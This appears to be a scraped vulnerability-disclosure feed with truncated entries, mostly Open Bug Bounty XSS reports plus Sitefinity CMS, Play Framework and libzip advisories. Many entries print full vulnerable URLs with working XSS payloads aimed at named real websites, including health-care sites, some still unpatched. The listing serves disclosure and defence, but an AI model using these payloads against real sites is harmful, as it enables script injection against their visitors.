Sitefinity CMS 9.2 - Cross-Site Scripting Vulnerability

Exploit for asp platform in category web applications Exploit Title: Stored Cross Site Scripting XSS in Progress Sitefinity CMS 9.2 Date: Aug 31, 2017 Exploit Author: Pralhad Chaskar Vendor Homepage: http://www.sitefinity.com/ Tested on: Progress Sitefinity CMS 9.2 and lower CVE : NA Vendor...

Session Hijack

The Play Framework is vulnerable to a session magement vulnerablity. It is possible by a 3rd-party to acquire session information for another in-progress request for any application that uses the session in the processing of a 500 error page...

Fedora 26 : libzip (2017-840db88351)

Version 1.3.0 It contains fixes for two possible security problems. The problems were identified by Brian 'geeknik' Carpenter and Agostino Sarubbo using AFL. The changes are : - Support bzip2 compressed zip archives - Improve file progress callback code - Fix zipfdopen - CVE-2017-12858: Fix doubl...

Sitefinity CMS 9.2 - Cross-Site Scripting

Sitefinity CMS 9.2 - Cross-Site Scripting Exploit Title: Stored Cross Site Scripting XSS in Progress Sitefinity CMS 9.2 Date: Aug 31, 2017 Exploit Author: Pralhad Chaskar Vendor Homepage: http://www.sitefinity.com/ Tested on: Progress Sitefinity CMS 9.2 and lower CVE : NA Vendor Description...

Sitefinity CMS 9.2 - Cross-Site Scripting

Exploit Title: Stored Cross Site Scripting XSS in Progress Sitefinity CMS 9.2 Date: Aug 31, 2017 Exploit Author: Pralhad Chaskar Vendor Homepage: http://www.sitefinity.com/ Tested on: Progress Sitefinity CMS 9.2 and lower CVE : NA Vendor Description ------------------ Progress® Sitefinity™ is a...

m.nanterre.fr XSS vulnerability

Vulnerable URL: http://m.nanterre.fr/cmscarto.php?IDEQ=526%22-confirm/OPENBUGBOUNTY/-%22 Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 26.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculat...

skillgest.ru XSS vulnerability

Vulnerable URL: http://skillgest.ru/%22%3E%3Csvg/onload=%22alert'OPENBUGBOUNTY'%22%3E Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 26.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 907015 VIP website status...

mobihobby.ru XSS vulnerability

Vulnerable URL: http://www.mobihobby.ru/search/%22;alert%22OPENBUGBOUNTY Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 26.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 64716 VIP website status:| No Check...

chenson.com.mx XSS vulnerability

Vulnerable URL: http://www.chenson.com.mx/sendMail.php Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 26.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 758855 VIP website status:| No Check chenson.com.mx SSL...

dalcarreboques.com.br XSS vulnerability

Vulnerable URL: http://www.dalcarreboques.com.br/busca.php?busca=pas%22--!%3E%3CSvg/OnLoad=confirmOPENBUGBOUNTY%3E%22 Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 26.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...

usonline.apc.fr XSS vulnerability

Vulnerable URL: http://usonline.apc.fr/ssearch?q=%27%22%3E%3Csvg%2Fonload%3Dprompt%28%2FOPENBUGBOUNTY%2F%29%3E Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 26.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

elviragonzalez.es XSS vulnerability

Vulnerable URL: https://www.elviragonzalez.es/galeria.php?id=%5C%5C%5C%5C%22--!%3E%3CSvg/OnLoad=confirmOPENBUGBOUNTY%3E%22=equipo Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 26.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly...

tspornotube.com XSS vulnerability

Vulnerable URL: http://tspornotube.com/search/videos//%22'--!%3E%3CInput%20Type=Text%20AutoFocus%20Onfocus=confirm%60OPENBUGBOUNTY%60%20%3C!--// Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 26.11.2017 Vulnerability type:| XSS Vulnerability status...

polarisoffice.com XSS vulnerability

Vulnerable URL: https://www.polarisoffice.com/en/help/faq/search?keyword='" Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 26.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 100704 VIP website status:| No...

organixx.com XSS vulnerability

Vulnerable URL: https://organixx.com/?s=%22%2F%3E%27%3E%22%3EI%3Ci%3EI%3Csvg%2Fonload%3Dalert%28%2Fopenbugbounty%2F%29%3E=art Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 26.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclos...

fortbildung-regional.de XSS vulnerability

Vulnerable URL: https://fortbildung-regional.de/suchen/sucheveranstaltung.php?selectedrow=1abfrage=c=ax Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 26.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1199756...

hcmc.org XSS vulnerability

Vulnerable URL: http://www.hcmc.org/searchresults/index.htm?query=%22--!%3E%3CSvg/Onload=confirmopenbugbounty%3E%22 Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 22.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...

airedale-trust.nhs.uk XSS vulnerability

Vulnerable URL: http://www.airedale-trust.nhs.uk/?s=%3C!%27/!%22/!%27/%22/--!%3E%3CInput/Autofocus/%0D/Onfocus=confirmopenbugbounty//%3E%3CSvg%3E Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 22.11.2017 Vulnerability type:| XSS Vulnerability...

1gifts.biz XSS vulnerability

Vulnerable URL: http://1gifts.biz/cart.php?cartid=0%3C!%27/!%22/%27/%22/--!%3E%3C/Title/%3E%3C/Script/%3E%3CInput/Autofocus/%0D/Onfocus=confirm/OPENBUGBOUNTY///%3E%3Csvg%3E Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 22.11.2017 Vulnerability...

namaskarstore.com XSS vulnerability

Vulnerable URL: http://www.namaskarstore.com/products-list.php?catid=3%22%3E%27%3E;--%3E%3Cscript%3Ealert/OPENBUGBOUNTY/%3C/script%3E Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 22.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly...